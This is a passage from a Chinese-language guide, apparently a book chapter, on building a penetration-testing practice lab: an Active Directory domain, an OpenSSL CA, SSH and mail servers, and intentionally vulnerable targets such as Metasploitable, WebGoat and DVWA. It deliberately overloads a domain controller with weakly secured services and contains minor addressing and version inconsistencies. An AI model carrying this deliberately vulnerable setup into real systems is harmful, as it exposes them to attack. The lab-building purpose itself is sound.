现在,我们只需保存新配置,并暂时完成 WLAN 的设置:

**copy running-config startup-config**

我们将在第五章中进一步讨论硬件 AP 配置(以及软件 AP),实施安全,届时我们将已经安装了 RADIUS 服务器,以便能够为我们的受信任 WLAN 应用适当的安全性。

总结

在本章中,我们讨论了实验室环境中的网络通信和访问规则。你看到构建实验室网络的两种选择:基于硬件 Cisco 设备和基于虚拟设备。

现在,你可以配置你的设备,并根据你为实验室预算选择的选项之一,构建一个可用的网络。

每当你需要时,你可以进一步添加和配置更多的网络组件/设备/子网,以与我们配置的基础实验室网络相同的方式扩展你的实验室。

在下一章中,我们将向你展示如何设计应用实验室组件,以完成我们的主要实验任务:学习和实践渗透测试。

第四章:设计应用实验室组件

在上一章中,我们为实验室准备了两种选择的网络“基础”:硬件和虚拟。现在,是时候为实验室网络填充应用层功能组件,如 Web 服务器和数据库服务器。这些组件对于构建一个具备大多数真实企业网络能力的实验室网络至关重要,以便渗透测试人员能够练习最常见且“必须掌握”的案例和技术。

通常,应用程序和网络服务是攻击者的主要目标,也是他们攻击的主要对象。这些组件通常用于处理和存储财务和私人数据、商业机密以及其他敏感的机密数据。它们通常用于管理其他网络组件和账户,从而控制对网络资源的访问。有些还可以提供各种客户服务,因此它们是商业公司关键的利润或声誉系统,通常被称为业务关键系统(或应用程序/服务)。

不用多说,企业非常重视保护这些系统和服务,并且通常会寻求第三方意见,委托进行渗透测试和其他信息安全咨询服务。

因此,你必须做好充分的准备,至少要了解一些常见的网络服务,我们将在本章中学习如何实现这一目标。

本章涵盖以下内容:

  • 服务规划

  • 创建虚拟服务器和工作站

  • 安装和配置域服务

  • 安装证书认证机构

  • 安装远程管理服务

  • 安装电子邮件服务

  • 安装易受攻击的网络服务

  • 安装 Web 应用程序

服务规划

一如既往,在你开始构建任何东西之前,应该进行规划,并确保所有前提条件都得到满足。

在当前主题中,我们将定义哪些服务器将托管哪些服务和应用程序。我们将尝试在一台服务器上托管多个应用程序和服务,因为大多数人都受到计算资源和服务器硬件的限制,记得吗?

因此,根据你的能力和预算,你可以使用相对强大的服务器来托管几个相对强大的虚拟机,或者你可以使用 SOHO 计算机来托管内存和 CPU 限制的虚拟机。

提示

实验室环境灵活性

值得提醒的是,选择哪些主机包括在你的实验室中,哪些主机不包括,取决于你的需求和偏好。我们只想展示安装实验室组件的最有用选项,但具体使用什么、使用哪些并不使用,完全由你决定。

使用虚拟机的一个好处是,你不必同时开启所有服务器。对于大多数实验室任务,你甚至不需要打开你的网络设备。在大多数情况下,只需打开一台虚拟机,保持其他虚拟机挂起即可。

正如我们在前面的章节中已经决定的那样,我们的服务器子网的 IP 范围是 10.0.0.0/24,IP 地址 10.0.0.1 已经分配给了核心路由器的子接口。工作站将通过 DHCP 从路由器获取动态 IP 地址,因此现在不需要为它们规划地址空间,除了管理员工作站,它的 IP 地址是 10.1.0.30。

牢记这一点,让我们绘制另一个表格,总结一下我们将要安装的内容以及其对应的 IP 地址:

IP 地址 操作系统 应用与服务 备注
10.0.0.2 Windows Server 2008 目录服务 AD, 电子邮件服务器, 认证机构, SSH
10.0.0.3 Linux Metasploitable 2 漏洞网络服务
10.0.0.4 CentOS vulnVoIP 漏洞 VoIP 服务
10.0.0.5 Ubuntu Server Web 应用服务器 Liferay Portal CE, OWASP WebGoat, DVWA

你可以随时查看这个表格,快速刷新你对服务器子网布局的记忆。

提示

备份你的实验室系统

安装完成后,不要忘记对你的虚拟机进行快照。因为在进一步的黑客练习过程中,很有可能会无意间破坏某些东西,拥有一个可以快速恢复的备份镜像(虚拟机快照)是非常有用的。

你可能还希望为一些虚拟机创建多个快照,保存不同配置或安全级别的版本,以便根据当前的实验室任务快速切换。

创建虚拟服务器和工作站

现在我们已经知道了需要哪些服务和服务器,但在安装它们之前,我们先快速回顾一下如何创建虚拟机并将其连接到我们的实验室网络。我们将使用 Oracle VirtualBox 虚拟化软件来实现这一目标,因为它既免费又强大。

VirtualBox 概述与安装

正如我们之前所说,我们将使用 Oracle VM VirtualBox 作为主机的虚拟化平台。VirtualBox 是一款强大、功能丰富、高性能的虚拟化解决方案,适用于企业和家庭使用。VirtualBox 作为开源软件,遵循 GNU 通用公共许可证GPL)第 2 版的条款免费提供。

提示

你可以随时参考官方的 VirtualBox 文档以获取更多信息(www.virtualbox.org/wiki/Documentation)。

VirtualBox 可以在不同的操作系统上启动,并支持大量的来宾操作系统,包括但不限于 Windows 和 Linux。

支持硬盘镜像格式VMDKVMware)和VHDMicrosoft Virtual PC)能够创建和使用便捷的虚拟主机。但最重要的是,VirtualBox 支持快照功能,这极大地方便了我们在测试基础设施中的工作。因此,这一特点使得 VirtualBox 成为我们目标的最佳选择。

首先,我们需要获取 VirtualBox 的安装包。我们可以从www.virtualbox.org/wiki/Downloads网站下载。选择适合你平台的二进制包,然后点击链接下载。

下载完成后,执行获取的文件。安装过程简单,无需特殊操作。

启动 VirtualBox 应用程序后,你将看到虚拟机管理界面的窗口。这个界面非常直观,不需要进一步解释。

VirtualBox 概述和安装

Oracle VM VirtualBox 管理界面

创建虚拟机

为了创建新的虚拟机,我们需要点击管理界面主工具栏上的新建按钮,创建虚拟机向导将启动。在打开的窗口中,我们需要设置新虚拟机的名称,并根据操作系统的版本选择模板。选择模板后,选择以下问题的默认答案(如虚拟机文件的位置及其特性)。向导完成后,我们应该设置操作系统的安装镜像。点击主工具栏上的启动按钮来启动我们的新虚拟机。

你可以在微软公司网站上获取操作系统镜像。例如,在我们的实验室中,我们使用了 Microsoft Windows Server 2008 R2 Evaluation 作为 Windows 服务器操作系统。你可以在www.microsoft.com/en-US/download/details.aspx?id=11093下载。当然,你也可以使用自己(之前购买的)操作系统安装镜像。

启动虚拟机后,会打开一个新窗口,在这里你可以看到虚拟机的屏幕以及管理虚拟机的菜单选项。在这里,我们可以像使用普通应用程序一样,通过键盘和鼠标与虚拟机进行交互。

就像普通计算机一样,虚拟机在启动时会尝试寻找可引导的介质并从中启动。如果我们设置了操作系统的安装镜像,那么新的操作系统安装过程将会开始。

安装操作系统的过程非常简单,这里不再详细描述。现在,我们需要安装两种类型的操作系统:服务器版和工作站版。在我们的案例中,我们安装了 Microsoft Windows Server 2008 R2 和 Microsoft Windows 7 专业版用于演示,但我们建议你安装几种不同版本的 Windows:最新的几个版本以及一些较老的版本(不是为了学习网络攻击的基础知识,而是为了保持最新)。

安装操作系统后,我们应该配置基本设置,如语言和区域设置、时间和时区。在虚拟机的情况下,基本设置还包括安装额外的软件包:VirtualBox 客户附加组件

VirtualBox 客户附加组件是安装在客户操作系统中的一组软件,扩展了其与系统和虚拟化主机系统交互的能力。例如,在安装特殊驱动程序 虚拟视频 后,可以在运行虚拟机的 VirtualBox 窗口大小之后任意更改客户操作系统的桌面分辨率。

安装第一个 Windows 服务器和 Windows 工作站后,我们应该关闭虚拟机并保存它们(拍摄快照)。我们将继续使用它们作为快速部署新实例的模板。

配置实验组件的网络设置

我们需要为虚拟机配置网络适配器的最后一个操作。我们有两种主要方法,这取决于我们网络基础设施的实现方式(基于硬件网络设备和基于虚拟网络基础设施)。

对于基于硬件设备的网络基础设施,我们需要将网络适配器设置为桥接模式,我们的虚拟机将通过主机计算机的硬件以太网端口与外界交互。为此,我们转到虚拟机设置的 网络 选项卡。此时,虚拟机应处于 关机 状态。在 连接到 组合框中选择 桥接适配器 项目。从 名称 组合框中选择您的网络适配器。它连接到核心交换机。在我们的情况下,看起来像以下的截图:

配置实验组件的网络设置

虚拟机的网络接口设置

对于基于 GNS3 的虚拟网络基础设施,我们需要为每台虚拟机执行以下步骤:

  1. 启动 GNS3 并转到 VirtualBox VMs 设置选项卡。我们在第三章中简要描述过它,配置网络实验室组件,所以你应该记得。无论如何,可以通过导航到 编辑 | 首选项 来实现这一点。在打开的窗口中,选择 VirtualBox VMs

  2. VirtualBox VM 模板 部分,我们有一个虚拟机列表(如果您首次访问此选项卡,应该是干净的)和三个管理按钮:新建编辑删除

  3. 通过按下 新建 按钮,将启动向导以添加新的虚拟机。在第一个窗口中,它会询问我们想要连接到我们虚拟网络基础设施的现有虚拟机。

  4. 选择虚拟机后,GNS3 将自动创建一个新的链接克隆虚拟机,并使用特殊的网络参数。例如,在我们的案例中,网络设置如下:配置实验组件的网络设置

    虚拟机的网络接口设置

安装和配置域服务

下一步,让我们安装并配置任何基于 Windows 的企业网络的核心:域及其服务。

创建域

在下一步中,我们将创建一个基于 Microsoft Active Directory 的域及其服务。它将提供管理我们基础设施应用层的中央服务(管理用户和计算机、命名服务等)。

首先,我们通过在 VirtualBox 中克隆我们的 Windows 服务器模板来创建一个新的虚拟机。为此,我们只需要在 VirtualBox 管理界面的虚拟机列表中选择克隆...,然后在向导中,在第一个窗口勾选重新初始化所有网络适配器的 MAC 地址选项,并在第二个窗口选择完全克隆选项。

克隆后,启动新的虚拟机。此时,操作系统已安装并运行,且具有基本配置。为了创建域,我们需要在此虚拟服务器上配置域控制器。为此,我们应该执行以下步骤:

  1. 初始配置任务页面中,我们需要设置计算机名称。我们选择名称DC,简短且明确。

  2. 接下来,我们应该设置服务器网络适配器的 IP 配置。我们需要使用静态 IP 地址,因为该服务器将既是域控制器又是 DNS 服务器。我们应该选择之前定义的地址空间中的 IP 地址。现在,我们的域控制器 IP 配置如下:

    参数
    IP 地址 10.0.0.2
    网络掩码 255.255.255.0
    网关 10.0.0.1
    DNS 10.0.0.2
  3. 接下来,我们应为服务器定义Active Directory 域控制器角色。所以,进入服务器管理器,在左侧面板中选择角色,然后点击右侧面板中的添加角色链接。在弹出的开始之前窗口中,我们应该点击下一步按钮。在接下来的窗口中,勾选Active Directory 域服务项。

    在此页面中,你还可以勾选附加角色以添加到我们的服务器,并安装其他功能,或者你也可以稍后再进行,因为现在我们不需要它。

    应该注意的是,Active Directory 需要 DNS 服务器,但现在我们并未添加此角色。在域安装过程中,此角色将自动添加。

  4. 创建域控制器的第二个主要步骤是执行dcpromo工具。现在,进入开始菜单,在运行文本框中输入dcpromo。你会在列表中找到它,点击dcpromo

  5. 结果,我们运行了欢迎使用 Active Directory 域服务安装向导。在这个场景下,我们不需要高级选项,因此只需点击下一步按钮。

  6. 操作系统兼容性页面中,向导警告我们,使用 NT 和非 Microsoft SMB 客户端的用户会遇到 Windows Server 2008 R2 中某些加密算法的问题。在我们的测试环境中没有此类问题,因此只需点击下一步按钮。

  7. 选择部署配置页面中,我们应选择在新森林中创建新域。我们这么做的原因很简单,因为这是一个新森林中的新域。

  8. 命名森林根域页面中,我们应在森林根域的 FQDN文本框中输入域名。在我们的例子中,我们将域命名为lab.local。你可以根据自己的喜好命名域名;但是如果你使用一个已经在互联网上注册的名称,可能会遇到名称冲突的问题。点击下一步按钮。

  9. 设置森林功能级别页面中,选择Windows Server 2008 R2选项。点击下一步

  10. 附加域控制器选项页面中,我们只有一个选择:DNS 服务器。全局目录选项已选中,并且不能取消选择;只要它是域中唯一的 DC,它就必须是全局目录服务器。域控制器只读权限选项未勾选,因为要启用此选项,网络上必须有其他非 RODC。我们选择 DNS 服务器选项,并点击下一步按钮。

  11. 出现一个对话框,提示无法为此 DNS 服务器创建委派,因为找不到授权的父区域或该区域没有使用 Windows DNS 服务器。原因是这是第一个 DC 网络。因此,我们只需点击按钮继续。

  12. 在下一页面中,我们将数据库、日志文件和 SYSVOL 的路径保持为默认值,然后点击下一步按钮。

  13. 目录服务恢复模式管理员密码页面中,我们需要在密码确认密码文本框中输入一个强密码。

  14. 现在,让我们检查摘要页面上的信息,并点击下一步按钮以安装 Active Directory。安装过程需要几分钟。安装完成后,我们应该重启服务器。

最后,在你登录后,安装完成。需要注意的是,在安装 Active Directory 时,DNS 服务已经安装,因此我们无需担心它。现在,我们已经准备好了域控制器和lab.local域。

创建用户

现在,让我们在域中创建用户账户。在 Active Directory 中,这是一个非常简单的过程。基于使用Active Directory 用户和计算机管理单元的用户创建方法是最便捷的,因为它采用图形用户界面和向导。该方法的缺点是,在创建用户账户时,无法设置大部分账户属性,必须通过额外编辑已创建的账户来添加它们。要创建用户账户,请按照以下步骤操作:

  1. 打开Active Directory - 用户和计算机管理单元。你可以通过导航到开始 | 管理工具 | Active Directory - 用户和计算机来完成此操作。你也可以使用快捷键Win + R 打开运行对话框,并输入dsa.msc命令执行。

  2. 在树形结构中,展开你的域并进入用户文件夹。右键点击它,从右键菜单中选择新建 | 用户。这将启动向导。

  3. 新建对象 - 用户对话框中,输入有关创建用户的信息(名字、姓氏和登录名)。然后点击下一步按钮。

  4. 在向导的下一页面中,你需要在密码字段中输入初始密码,并在确认密码文本框中重新输入。除此之外,你还可以设置密码策略的基本参数。

  5. 在向导的最后一页,你将看到你输入的参数摘要。如果信息输入正确,点击完成按钮以创建用户账户并完成向导。

  6. 用户账户创建完成后,你可以在右侧面板的用户账户列表中找到它。通过右键点击该用户账户中的首选项项,你可以配置该用户账户的所有属性。

现在,你可以创建多个用户账户。

将主机加入域

现在,我们需要创建多个工作站,包括管理员工作站。为此,让我们通过克隆 Windows 工作站模板,在 VirtualBox 中创建新的虚拟机。就像在 Windows 服务器模板的情况下,我们只需从 VirtualBox 管理界面的虚拟机列表的右键菜单中选择克隆…选项。在向导中,我们应在第一个窗口中勾选重新初始化所有网络卡的 MAC 地址选项,并在第二个窗口中选择完整克隆选项。

在克隆并启动我们的新虚拟机后,让我们将其加入域中。这样可以让我们享受域的所有优势,比如集中管理、组策略等等。

在将计算机加入域之前,让我们确保满足以下前提条件:

  • 我们的虚拟工作站的网络适配器正在正常工作,并且已分配正确的 IP 地址。我们的工作站的网络适配器操作系统设置为 DHCP。

  • 虚拟工作站可以“网络可见”域控制器。我们可以通过基于 ICMP 请求的 ping 工具来检查这一点。

    **ping 10.0.0.2**
    
    
  • 在虚拟工作站上,您以本地管理员身份登录。

接下来,让我们执行以下步骤:

  1. 通过点击开始,然后右键点击计算机,在右键菜单中点击属性,打开系统属性

  2. 计算机名称、域和工作组设置部分,点击更改设置链接。

  3. 计算机名称标签页中,点击更改按钮。

  4. 计算机名称文本框中,输入我们工作站的主机名。

  5. 成员身份部分,勾选单选按钮,并输入您想要连接的域名称。在我们的例子中,它是lab.local将主机添加到域

    将工作站加入域

  6. 点击确定按钮后,系统会提示您输入域管理员的用户名和密码。

  7. 在成功将计算机加入域后,系统会提示您重启。为了完成该过程,您应进行重启。

按照相同的方式安装管理员工作站,但不要忘记虚拟机的网络接口应设置为桥接模式,静态 IP 地址为 10.0.1.30,并且应连接到适当的交换机端口。不要忘记在域控制器上创建一个管理员用户账户,并在管理员工作站上登录该账户。

认证机构服务

在任何现代化的组织中,都有一个重要的安全子系统叫做加密学。这个子系统提供了信息安全的重要属性,如机密性、完整性和真实性。所有这三项属性在安全传输、管理和访问中都是必需的。加密学以及基于它的安全机制是一个庞大的话题,超出了我们书籍的范围。但我们将简要演示如何基于 OpenSSL 创建证书系统。

OpenSSL 是一个免费的软件工具。您可以从www.openssl.org/community/binaries.html下载 Windows 版本的二进制文件。OpenSSL 是创建您自己的私有证书机构所需的全部工具。

所以,下载此软件并在您的服务器之一的文件夹中解压。在我们的例子中,我们在域控制器(dc.lab.local)上的C:\OpenSSL\目录中使用它。

创建我们自己的证书机构的过程相当简单:

  1. 创建私钥。

  2. 自签名。

  3. 在工作站上安装根 CA。

一旦完成这些操作,我们所使用的每个服务都可以通过以下步骤创建的证书来进行保护:

  1. 创建证书。

  2. 使用根 CA 密钥签署证书。

创建根证书

首先,我们需要生成一个根密钥,它将用于后续的根证书。可以使用以下命令来完成此操作:

**openssl genrsa -out rootCA.key 2048**

这里:

  • 2048:这是我们的密钥长度,单位为位

  • rootCA.key:这是我们的根密钥文件名

之后,我们执行第二个命令来创建一个自签名的根证书:

**openssl req -x509 -new -key rootCA.key -days 1200 -out rootCA.crt**

这里:

  • rootCA.key:这是我们的 CA 私钥

  • 1200:这是我们的证书有效期,以天为单位(1,200 天大约等于 3 年)

在这里,我们会被问到几个问题,你可以根据自己的喜好回答:

**Country Name (2 letter code) [US]: RU**
**State or Province Name (full name) [Some-State]:**
**Locality Name (eg, city) []:Moscow**
**Organization Name (eg, company) [Internet Widgits Pty Ltd]: Test Lab**
**Organizational Unit Name (eg, section) []: Lab**
**Common Name (e.g. server FQDN or YOUR name) []: lab.local**
**Email Address []: support@lab.local**

在这些操作之后,我们得到了两个文件:

  • rootCA.crt:用于安装在服务器或工作站上的公钥,也可供公开分发

  • rootCA.key:私钥,应保密

现在,我们可以为我们的服务创建证书,并将根证书安装到我们的工作站中。

创建工作证书

所以,让我们创建一个由我们的 CA 签名的证书(例如,为某个 Web 服务)。这个过程相当简单:

  1. 生成密钥:

    **openssl genrsa -out web.lab.local.key 2048**
    
    
  2. 创建证书签名请求:

    **openssl req -new -key web.lab.local.key -out web.lab.local.csr**
    
    

    在这里,指定服务器的名称非常重要:域名或 IP(在我们的例子中是web.lab.local):

    **Common Name (eg, YOUR name) []: web.lab.local**
    
    
  3. 我们应该使用我们的根证书签署证书请求:

    **openssl x509 -req -in web.lab.local.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out web.lab.local.crt -days 365**
    
    

安装根证书

现在,我们可以在我们的服务器和工作站中安装根证书。为此,我们需要将根证书安装到受信任的主机证书存储库中。一些浏览器使用默认的操作系统存储库。例如,在 Windows 中,Internet Explorer 和 Chrome 都使用默认的证书管理。它们都会把你带到同一个地方——Windows 证书存储库。所以,我们可以打开 Internet Explorer,进入Internet 选项 | 内容 | 证书。现在,我们可以将根 CA 证书安装在受信任的根证书颁发机构标签下。然而,Windows 上的 Firefox 有自己的证书存储库,所以如果你同时使用 IE 或 Chrome 以及 Firefox,你将需要将根证书安装到 Windows 存储库和 Firefox 存储库中。

注意

有关基于 OpenSSL 构建 CA 的好手册,见于jamielinux.com/docs/openssl-certificate-authority/index.html

安装远程管理服务

现在我们已经准备好服务器,并且具备了创建安全证书的能力,让我们来看一下为我们的服务器安装安全远程管理服务的可能性。为此,最好的解决方案是 SSH。

SSH(即安全外壳的缩写)是一个网络应用层协议,允许远程管理操作系统并进行 TCP 连接的隧道传输(例如,传输文件)。它具有类似于 telnet 或 rlogin 的功能,但与它们不同的是,它对所有流量进行加密,包括传输的密码。大多数网络操作系统都提供 SSH 客户端和 SSH 服务器。

虽然 SSH 在所有 Linux 服务器发行版中都是内置的,但 Windows 默认没有 SSH,因此我们希望安装它,以便使我们的实验环境更加复杂,这对于攻击练习来说总是好的。

市场上有多个软件解决方案,但在我们的实验室中我们使用的是 freeSSHd。顾名思义,freeSSHd 是一个免费的、简单的 SSH 服务器实现,提供了 SSH 协议的完整功能。

安装包可以在网站www.freesshd.com/?ctt=download找到。下载并安装 freeSSHd 后,我们可以像正常应用程序一样启动 freeSSHd,或者作为 Windows 服务启动。在管理应用程序中,我们可以设置主要参数:

  • 启动或停止 SSH 服务器

  • 选择将使用的加密算法

  • 流量隧道参数

  • 管理主机限制

  • 设置将使用的接口和端口号

  • 设置将使用的命令行

  • 选择将使用的加密密钥(这是最重要的一项)

所有参数都很直观,因此我们不会详细讨论它们。但是,我们会将用户管理作为当前最重要的部分来考虑。

用户标签页中,我们有三个按钮:新建编辑删除。点击新建,会弹出用户属性窗口。在这里,我们需要选择授权方法。我们有三个选项:

  • NT 身份验证(使用操作系统的功能)

  • 密码以 SHA1 哈希形式存储(使用 freeSSHd 的内建功能)

  • 公钥(仅限 SSH)

由于我们有一个域,并且可以使用域用户身份验证程序,因此选择NT 身份验证。我们需要在文本框中指定域名;在我们的案例中,它是lab.local。在登录文本框中,我们应该输入现有域用户的用户名。完成这些后,选择在用户可以使用部分中将授予该用户的权限(命令行、文件传输和流量隧道)。

在用户账户创建并且服务启动后,我们可以尝试连接到远程服务器上的管理服务。

注意

Windows 服务器通常通过原生的 Windows 解决方案如远程桌面来管理,但在我们的案例中,我们希望拥有一个复杂且脆弱的实例。因此,我们添加了过多的功能和软件。

企业电子邮件服务

在我们的实验室中,我们模拟了一个小型组织,而任何组织信息基础设施的 IT 服务基础是用户之间信息交换的能力。通常,用户之间的互动是基于电子邮件进行的,而电子邮件已成为事实上的标准。因此,我们不能忽视电子邮件服务。为了解决电子邮件问题,我们将考虑使用免费的 hMailServer 软件。

hMailServer 是一个适用于 Windows 平台的免费电子邮件服务器。它作为 Windows 服务运行,并包括管理和备份工具。它支持 IMAP、POP3 和 SMTP 邮件协议。为了存储设置和索引,hMailServer 使用如 MySQL、MS SQL 或 PostgreSQL 的数据库,电子邮件消息以 MIME 格式存储在硬盘中。

hMailServer 支持所有基本功能,例如多域、别名和邮件列表。用户身份验证可以通过本地用户数据库或通过 Active Directory 来执行。

好了,让我们开始安装 hMailServer,但在开始之前,我们需要配置我们的 DNS 服务器。

配置 DNS 服务器

为了能够接收电子邮件,我们必须为我们的域设置 MX 记录。MX 记录是 DNS 服务器中的条目,它告诉网络上的其他计算机哪个计算机(主机名)正在为我们的域托管电子邮件服务。

我们可以在域控制器的 DNS 管理插件中执行此操作,域控制器作为我们的附加 DNS 服务器。因此,让我们与域控制器进行交互,通过在 开始 菜单的 管理工具 文件夹中选择 DNS 项来启动 DNS 插件。

在打开的插件的左侧面板中的 DNS 树中,展开与我们域控制器(DC)对应的 Forward Lookup Zones 项。现在,选择我们域(lab.local)的项。在右侧面板中,我们可以看到当前存在的 DNS 记录列表。现在,我们应该检查将要安装 hMailServer 的服务器的 DNS A 记录。如果不存在这样的记录,让我们添加一个。右键单击打开上下文菜单,并选择 新建主机(A 或 AAAA)… 来创建 DNS A 记录。在打开的窗口中,我们需要输入邮件服务器的名称及其将由名称指向的 IP 地址。然后,点击 添加主机 按钮。

在我们的例子中,我们将邮件服务器部署在域控制器主机上,因此我们的选项看起来是这样的:

名称 FQDN IP 地址
`mail** **mail.lab.local` 10.0.0.2

在创建了邮件服务器的 DNS A 记录后,或者如果 A 记录已经存在,我们应该添加 MX 记录。我们可以像添加 A 记录一样执行此操作,但选择 新建邮件交换器(MX)… 项,而不是 新建主机(A 或 AAAA)…。在打开的窗口中,我们应该将 主机或子域 文本框留空,并在 邮件服务器的 FQDN 文本框中输入我们的邮件服务器名称(在我们这个例子中是 mail.lab.local)。

结果会像这样:

配置 DNS 服务器

DNS 区域内容

安装和配置 hMailServer

现在是安装 hMailServer 的时候了。可以从网站下载最新版本(www.hmailserver.com/download)。安装过程简单。按照安装向导进行操作,不应该出现问题。安装结束时,现有的向导会提示输入管理员密码。

启动 hMailServer 管理员(管理控制台),并创建一个到本地主机的连接。在启动 hMailServer 管理员并与服务器建立连接后,配置我们的邮件服务器以适应我们的域(lab.local)。这需要一些时间,并包括以下基本步骤:

  1. 选项卡中,点击添加按钮。在打开的页面中,在文本框中输入我们的域名(lab.local),然后点击保存按钮。新的域将被添加。

  2. 点击域树的账户子项,并在右侧面板(账户页面)上点击添加按钮。

  3. 在打开的页面中,进入Active Directory选项卡,我们应检查Active Directory 账户选项,并输入我们为现有域用户创建邮件账户时的域名和用户名。在常规选项卡中,我们应在地址文本框中输入当前账户的邮箱地址。

  4. 点击保存按钮。

  5. 现在,在账户列表中,我们有现成的示例用户邮箱:安装和配置 hMailServer

    邮件账户列表

  6. 进入设置 | 协议 | SMTP | 邮件投递,在主机名设置中输入我们的服务器主机名(mail.lab.local)。

现在,我们有了一个工作邮件服务器,可以使用配置好的邮件客户端软件发送和接收邮件。

接下来,您应该完成邮件服务器设置以创建硬化配置。例如,您可以执行以下操作:

  • 更改 SMTP、POP3 和 IMAP 协议的标准端口,并根据安全证书设置使用 SSL/TLS 的连接安全性,这些证书可以在我们的认证机构(前面已描述)上创建。

  • 设置为仅使用 TLSv1.2

  • 创建备份副本

  • 配置内置的反垃圾邮件子系统

注意

有关 hMailServer 的更多信息,请访问www.hmailserver.com/documentation/latest/?page=overview

现在我们已经创建了一个可用的邮件服务器实例,可以进一步探索其他可能性。

安装易受攻击的服务

准备大多数服务器和网络服务以供渗透测试培训使用的最简单方法是下载故意留下漏洞的预配置虚拟机镜像(易受攻击的虚拟机)。这些易受攻击的虚拟机是为练习各种攻击而准备实例的最佳方式,同时节省了自行下载和安装所有内容的时间。

提示

使用预安装的虚拟机镜像保持安全

你可能知道比本章中提到的其他预安装虚拟机镜像的来源,并且你可能希望在实验室中下载并使用它们。然而,要小心,并在使用它们获取镜像之前检查这些来源是否足够可信,因为不可信的来源可能会分发含有恶意软件的潜在危险镜像。这些镜像不仅对您的实验室构成高安全风险,也可能对您的实验室连接的网络造成威胁。

让我们将最有用和最著名的其中一些纳入我们的实验室网络。

安装 Web 应用程序

现在,许多企业正在上线或至少需要在 Web 上存在,渗透测试人员主要处理的是 Web 应用程序,而不是基础架构渗透测试。因此,渗透测试人员掌握 Web 应用程序攻击技能并不断提升至关重要。

提示

使用有限的计算资源

如果您在创建其他虚拟服务器时遇到计算能力不足的问题,可以将所有 Web 应用程序安装在同一台服务器上。或者,您可以将其中一些安装在“攻击者机器”或用于黑客攻击的渗透测试机器上。

我们将使用基于 Ubuntu Server 14.03.4 LTS 的 LAMPLinux, Apache 和 MySQL*PHP)服务器安装 Web 应用程序。但如果出于某种原因您更喜欢使用 Windows,则可以使用 XAMPP —— 这是一个包含 MySQL、PHP 和 Perl 的 Apache 发行版。

准备一个 Web 服务器

我们将在 Ubuntu Server 14.0.3.4 LTS 下的同一个 Web 服务器上安装所有实验 Web 应用程序,处于 NAT 模式,暂不连接 VM 到实验室网络。接下来,我们将根据实验室网络设置更改网络接口模式和设置。步骤如下:

  1. 首先,从官方网站下载最新的 Ubuntu Server .iso 安装镜像。

  2. 创建一个新的 64 位 Ubuntu 虚拟机,分配 1024 MB RAM 和一个动态分配的硬盘。

  3. 将安装镜像插入 VM 的 CD/DVD 驱动器并启动 VM。

  4. 通过回答安装对话框中的问题安装 Ubuntu 服务器。这个过程非常简单,直到要求选择要安装的服务(不要忘记安装过程中提供的帐户密码)。准备一个 Web 服务器

    服务安装对话框

  5. 选择 OpenSSH 和 LAMP 服务器,然后继续安装。

  6. 在询问时输入 MySQL root 密码,并确保不要忘记 —— 以后会用到。

  7. 重新启动虚拟机,并使用安装过程中创建的帐户登录。

    现在,我们需要配置正确的网络设置,以便能够访问 Internet 进行软件安装,同时具有静态 IP 以访问 Web 应用程序。

  8. 在桥接模式下设置 VM 的网络接口,并选择要将虚拟接口桥接到的物理接口。

  9. 首先,我们需要将 Network Manager 服务切换到手动启动模式,这样它在每次重启后不会重置我们的网络设置。运行以下命令来完成此操作:

    **sudo stop network-manager**
    **echo "manual"|sudo tee /etc/init/network-manager.override**
    
    
  10. 现在,通过编辑文件 /etc/network/interfaces 来设置新的网络设置。为 eth0 接口更改或添加以下设置:

    **auto eth0**
    **iface eth0 inet static**
     **address 10.0.0.5**
     **netmask 255.255.255.0**
     **network 10.0.0.0**
     **broadcast 10.0.0.255**
     **gateway 10.0.0.1**
     **dns-nameservers 10.0.0.2 10.0.0.1**
    
    
  11. 使用以下命令重新启动网络服务,或者直接重新启动 VM 以应用更改,并使用 ifconfig 命令检查接口设置:

    **sudo service networking restart**
    **ifconfig eth0**
    
    

您应该能够插入网络电缆并访问 Internet。

或者,你可以使用 NAT 模式下载所有必要的软件,然后将虚拟机切换到主机专用网络模式,这样主机和其他客户机就可以访问你的当前虚拟机。在此模式下,你可以将虚拟机作为独立的 Web 服务器,用于直接的 Web 应用程序攻击,并在需要将虚拟机连接到实验室网络时执行前面列表中的四个网络配置步骤。

让我们安装必要的先决条件:

  1. 我们需要 Java 6 或更高版本才能让 Web 应用程序正常工作。使用命令 java -version 检查是否已安装,如果没有,请使用 apt-get 安装它。我们正在安装 OpenJDK 7:

    **sudo apt-get install openjdk-7-jre**
    
    
  2. 你还需要安装 unzip 工具,以便解压 Web 应用程序的档案文件,所以我们先安装它:

    **sudo apt-get install unzip**
    
    

此时,我们的 Web 服务器已准备好安装 Web 应用程序。

WebGoat

OWASP 项目 WebGoat (www.owasp.org/index.php/Category:OWASP_WebGoat_Project) 是最知名的用于学习目的的漏洞 Web 应用程序之一。WebGoat 最酷的地方在于,它不仅提供了一些漏洞供你利用,还让你参与修复过程,提供修改应用程序源代码的机会。这对那些没有太多 Web 开发背景的渗透测试人员来说,极其有助于开发出真正有效的漏洞修复建议。

WebGoat 是作为 Web 应用程序包而非虚拟机镜像分发的,你需要先准备好服务器才能运行它。

由于我们已经准备好服务器,让我们开始运行 WebGoat 应用程序:

  1. 从 GitHub 下载 Web 应用程序包。你可以使用 wget 工具进行下载,但请确认你下载的是最新版本:

    **wget https://github.com/WebGoat/WebGoat-Legacy/releases/download/v6.0.1/WebGoat-6.0.1-war-exec.jar**
    
    
  2. 运行 Web 应用程序:

    **java -jar WebGoat-6.0.1-war-exec.jar**
    
    

通过在另一台机器上打开浏览器并访问 http://10.0.0.5:8080/WebGoat 来检查应用程序是否正常工作(URI 是区分大小写的)。

WebGoat

WebGoat 登录界面

DVWA

另一个用于渗透测试训练的有用 Web 应用程序示例是 Damn Vulnerable Web Application (www.dvwa.co.uk),它是用 PHP 编写并使用 MySQL 的。它包含 OWASP Top 10 列表中的所有漏洞,并允许我们在三个安全级别下使用该 Web 应用程序,分别对应不同的渗透测试技能水平。

让我们看看如何安装和运行 DVWA:

  1. 登录并将当前目录更改为 Apache 的默认目录:

    **cd /var/www/html**
    
    
  2. 下载应用程序的档案并解压:

    **wget https://github.com/RandomStorm/DVWA/archive/v1.0.8.zip**
    **unzip v1.0.8.zip**
    
    
  3. 现在,我们需要配置 MySQL 连接。用编辑器打开文件 DVWA-1.0.8/config/config.inc.php 并找到以下行:

    **$_DVWA[ 'db_password' ] = 'p@ssw0rd';**
    
    
  4. p@ssw0rd 更改为你在服务器安装过程中设置的 MySQL 根密码,并保存文件。

  5. 更改 DVWA 目录的名称(考虑到便捷性)和权限:

